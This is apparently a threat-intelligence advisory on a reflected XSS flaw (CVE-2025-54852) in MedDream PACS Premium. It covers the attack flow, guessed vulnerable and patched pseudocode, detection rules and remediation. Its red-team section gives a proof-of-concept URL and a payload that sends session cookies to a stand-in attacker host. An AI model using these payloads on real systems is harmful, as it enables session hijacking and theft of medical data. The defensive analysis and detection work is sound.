CVE-2025-54852

Executive Summary

CVE-2025-54852 is a reflected cross-site scripting (XSS) vulnerability in the modifyAeTitle functionality of MedDream PACS Premium version 7.3.6.870. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, credential theft, or further compromise of the PACS environment. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the sensitive nature of medical imaging data.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in MedDream PACS Premium.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must click a crafted URL.
• Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the context of a PACS system handling sensitive medical data elevates the risk. An XSS could be used to exfiltrate patient records or pivot to internal systems.

Deep Dive & Mechanics

The vulnerability resides in the modifyAeTitle functionality of MedDream PACS Premium. This feature likely allows users to modify the Application Entity (AE) title, a common DICOM configuration parameter. The input is not properly sanitized before being reflected back in the HTTP response.

Attack Flow:

1. An attacker crafts a URL containing malicious JavaScript in the modifyAeTitle parameter.
2. The victim (e.g., a radiologist or administrator) clicks the link.
3. The server reflects the malicious input without proper encoding.
4. The victim’s browser executes the JavaScript, which can:
   • Steal session cookies.
   • Perform actions on behalf of the victim.
   • Redirect to a phishing page.
   • Exfiltrate sensitive data from the PACS interface.

Root Cause: Lack of output encoding or input validation in the modifyAeTitle endpoint. The application likely uses a GET or POST parameter that is directly embedded into the HTML response.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (pseudo)
function modifyAeTitle(newTitle) {
    document.getElementById('aeTitle').innerHTML = newTitle; // Direct injection
}

A patched version would use proper encoding:

// Patched code (pseudo)
function modifyAeTitle(newTitle) {
    document.getElementById('aeTitle').textContent = newTitle; // Safe assignment
}

Or server-side encoding:

# Vulnerable server-side (pseudo)
response = "<div>" + request.GET['aeTitle'] + "</div>"

# Patched server-side (pseudo)
from html import escape
response = "<div>" + escape(request.GET['aeTitle']) + "</div>"

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC):

<!-- Malicious URL -->
http://target-pacs/modifyAeTitle?aeTitle=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

http://target-pacs/modifyAeTitle?aeTitle=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Deploy a vulnerable MedDream PACS Premium 7.3.6.870 instance (e.g., using a trial or VM).
2. Use a browser to navigate to the crafted URL.
3. Observe JavaScript execution in the browser’s developer console.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for suspicious modifyAeTitle requests containing <script> tags.
• Use WAF rules to block reflected XSS patterns.

Defense:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Apply input validation and output encoding on the server side.
• Use HTTP-only cookies to mitigate session theft.

Indicators of Compromise (IOCs)

• URL Pattern: */modifyAeTitle?aeTitle=*<script>*
• Network Traffic: HTTP requests with aeTitle parameter containing <script>, onerror, onload, or similar XSS vectors.
• Log Entries: Web server logs showing modifyAeTitle with encoded or unencoded HTML tags.
• File Hashes: N/A (no file-based IOCs).

Detection Engineering

YARA Rule

rule CVE_2025_54852_MedDream_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS modifyAeTitle"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54852"
    strings:
        $xss_pattern = /modifyAeTitle[^&]*?aeTitle=.*?<script/i
        $xss_pattern2 = /modifyAeTitle[^&]*?aeTitle=.*?onerror/i
        $xss_pattern3 = /modifyAeTitle[^&]*?aeTitle=.*?onload/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in MedDream PACS modifyAeTitle
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against MedDream PACS Premium
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54852
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'modifyAeTitle'
            - 'aeTitle='
        cs-uri-query|re: '.*<script.*'
    condition: selection
falsepositives:
    - Legitimate use of AE title with script-like characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54852 MedDream PACS Reflected XSS"; flow:to_server,established; content:"modifyAeTitle"; http_uri; content:"aeTitle="; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable system from the internet if possible.
2. Apply a Web Application Firewall (WAF) rule to block XSS patterns in the modifyAeTitle parameter.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Vendor Patch: Await an official patch from MedDream. Contact their support for an ETA.
• Code Fix: If source code is available, implement proper output encoding (e.g., HTML entity encoding) for the aeTitle parameter.
• Upgrade: Consider upgrading to a newer version if available.

Workaround:

• Disable the modifyAeTitle functionality if not essential.
• Use a reverse proxy to sanitize input.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-54852